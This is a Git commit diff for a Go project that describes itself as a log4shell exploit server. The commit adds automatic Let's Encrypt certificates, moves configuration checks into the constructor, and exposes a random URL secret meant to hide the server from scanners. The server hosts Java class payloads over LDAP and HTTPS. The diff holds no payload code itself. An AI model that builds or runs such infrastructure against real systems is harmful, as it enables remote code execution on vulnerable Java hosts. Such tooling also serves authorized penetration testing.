add AutoCert flag to main.go, improve check configuration.

Author: For-ACGN

autocert.go

@@ -8,7 +8,10 @@ import (
 	"golang.org/x/crypto/acme/autocert"
 )
 
-func TestAutoCert(domain string) (*tls.Certificate, error) {
+// autoSignCert use a ACME client to send a request to Let's Encrypt.
+// Your Config.Hostname must be domain name, and this program running
+// at the server that IP address will be resolved.
+func autoSignCert(domain string) (*tls.Certificate, error) {
 	const certDir = "autocert"
 
 	err := os.MkdirAll(certDir, 0700)

autocert_test.go

@@ -29,7 +29,7 @@ func TestNewListener(t *testing.T) {
 
 		buf := make([]byte, 4096)
 		n, err := conn.Read(buf)
-		fmt.Println("asdasdads", err)
+		fmt.Println("err:", err)
 		fmt.Println(string(buf[:n]))
 
 		fmt.Println(conn.RemoteAddr())

cmd/main.go

@@ -1,6 +1,7 @@
 package main
 
 import (
+	"crypto/tls"
 	"flag"
 	"fmt"
 	"log"
@@ -26,6 +27,7 @@ func init() {
 	flag.StringVar(&cfg.HTTPAddress, "http-addr", ":8080", "http server address")
 	flag.StringVar(&cfg.LDAPNetwork, "ldap-net", "tcp", "ldap server network")
 	flag.StringVar(&cfg.LDAPAddress, "ldap-addr", ":3890", "ldap server address")
+	flag.BoolVar(&cfg.AutoCert, "auto-cert", false, "use ACME to sign certificate")
 	flag.BoolVar(&cfg.EnableTLS, "tls-server", false, "enable ldaps and https server")
 	flag.StringVar(&crt, "tls-cert", "cert.pem", "tls certificate file path")
 	flag.StringVar(&key, "tls-key", "key.pem", "tls private key file path")
@@ -47,24 +49,11 @@ func banner() {
 }
 
 func main() {
-	// check configuration
-	if cfg.Hostname == "" {
-		log.Fatalln("[error]", "empty host name")
-	}
-	fi, err := os.Stat(cfg.PayloadDir)
-	checkError(err)
-	if !fi.IsDir() {
-		log.Fatalf("[error] \"%s\" is not a directory", cfg.PayloadDir)
-	}
 	// load tls certificate
 	if cfg.EnableTLS {
-		tlsCert, err := log4shell.TestAutoCert(cfg.Hostname)
+		cert, err := tls.LoadX509KeyPair(crt, key)
 		checkError(err)
-		cfg.TLSCert = *tlsCert
-		fmt.Println("Let's Encrypt sign certificate successfully")
-
-		// cfg.TLSCert, err = tls.LoadX509KeyPair(crt, key)
-		// checkError(err)
+		cfg.TLSCert = cert
 	}
 	cfg.LogOut = os.Stdout
 

log4shell.go

@@ -7,6 +7,7 @@ import (
 	"log"
 	"net"
 	"net/http"
+	"os"
 	"sync"
 	"time"
 
@@ -18,16 +19,30 @@ import (
 type Config struct {
 	LogOut io.Writer
 
-	Hostname   string
+	// Hostname can be set IP address or domain name,
+	// If enable AutoCert, must set domain name.
+	Hostname string
+
+	// PayloadDir contains Java class files.
 	PayloadDir string
 
+	// about servers network and address.
 	HTTPNetwork string
 	HTTPAddress string
 	LDAPNetwork string
 	LDAPAddress string
 
+	// AutoCert is used to ACME client to sign
+	// certificate automatically, don't need to
+	// set EnableTLS true again.
+	AutoCert bool
+
+	// EnableTLS is used to enable ldaps and
+	// https server, must set TLS certificate.
 	EnableTLS bool
-	TLSCert   tls.Certificate
+
+	// TLSCert is used to for ldaps and https.
+	TLSCert tls.Certificate
 }
 
 // Server is used to create an exploit server that contain
@@ -37,6 +52,8 @@ type Server struct {
 	logger    *log.Logger
 	enableTLS bool
 
+	secret string
+
 	httpListener net.Listener
 	httpHandler  *httpHandler
 	httpServer   *http.Server
@@ -51,18 +68,46 @@ type Server struct {
 
 // New is used to create a new log4shell server.
 func New(cfg *Config) (*Server, error) {
+	// check configuration
+	if cfg.LogOut == nil {
+		panic("log4shell: Config.LogOut can not be nil")
+	}
+	if cfg.Hostname == "" {
+		return nil, errors.New("empty host name")
+	}
+	fi, err := os.Stat(cfg.PayloadDir)
+	if err != nil {
+		return nil, errors.WithStack(err)
+	}
+	if !fi.IsDir() {
+		return nil, errors.Errorf("\"%s\" is not a directory", cfg.PayloadDir)
+	}
+
+	// set logger
 	logger := log.New(cfg.LogOut, "", log.LstdFlags)
 	ldapserver.Logger = logger
 
 	// initial tls config
 	var tlsConfig *tls.Config
-	if cfg.EnableTLS {
+	enableTLS := cfg.EnableTLS
+	if cfg.AutoCert {
+		// hostname must be a domain name
+		cert, err := autoSignCert(cfg.Hostname)
+		if err != nil {
+			return nil, err
+		}
+		tlsConfig = &tls.Config{
+			Certificates: []tls.Certificate{*cert},
+		}
+		enableTLS = true
+	} else if enableTLS {
 		tlsConfig = &tls.Config{
 			Certificates: []tls.Certificate{cfg.TLSCert},
 		}
 	}
 
-	// for generate random http handler
+	// generate random string and add it to the http handler
+	// for prevent some http spider or exploit server scanner
 	secret := randString(8)
 
 	// initialize http server
@@ -90,7 +135,7 @@ func New(cfg *Config) (*Server, error) {
 		return nil, errors.Wrap(err, "failed to create ldap listener")
 	}
 	var scheme string
-	if cfg.EnableTLS {
+	if enableTLS {
 		scheme = "https"
 	} else {
 		scheme = "http"
@@ -117,7 +162,8 @@ func New(cfg *Config) (*Server, error) {
 	// create log4shell server
 	server := Server{
 		logger:       logger,
-		enableTLS:    cfg.EnableTLS,
+		enableTLS:    enableTLS,
+		secret:       secret,
 		httpListener: httpListener,
 		httpHandler:  &httpHandler,
 		httpServer:   &httpServer,
@@ -134,6 +180,7 @@ func (srv *Server) Start() error {
 	defer srv.mu.Unlock()
 
 	errCh := make(chan error, 2)
+
 	// start http server
 	srv.wg.Add(1)
 	go func() {
@@ -182,18 +229,23 @@ func (srv *Server) Stop() error {
 	srv.mu.Lock()
 	defer srv.mu.Unlock()
 
+	// close ldap server
+	srv.ldapServer.Stop()
+	srv.logger.Println("[info]", "ldap server is stopped")
+
 	// close http server
 	err := srv.httpServer.Close()
 	if err != nil {
 		return errors.Wrap(err, "failed to close http server")
 	}
 	srv.logger.Println("[info]", "http server is stopped")
 
-	// close ldap server
-	srv.ldapServer.Stop()
-	srv.logger.Println("[info]", "ldap server is stopped")
-
 	srv.wg.Wait()
 	srv.logger.Println("[info]", "log4shell server is stopped")
 	return nil
 }
+
+// Secret is used to get the generated secret about url.
+func (srv *Server) Secret() string {
+	return srv.secret
+}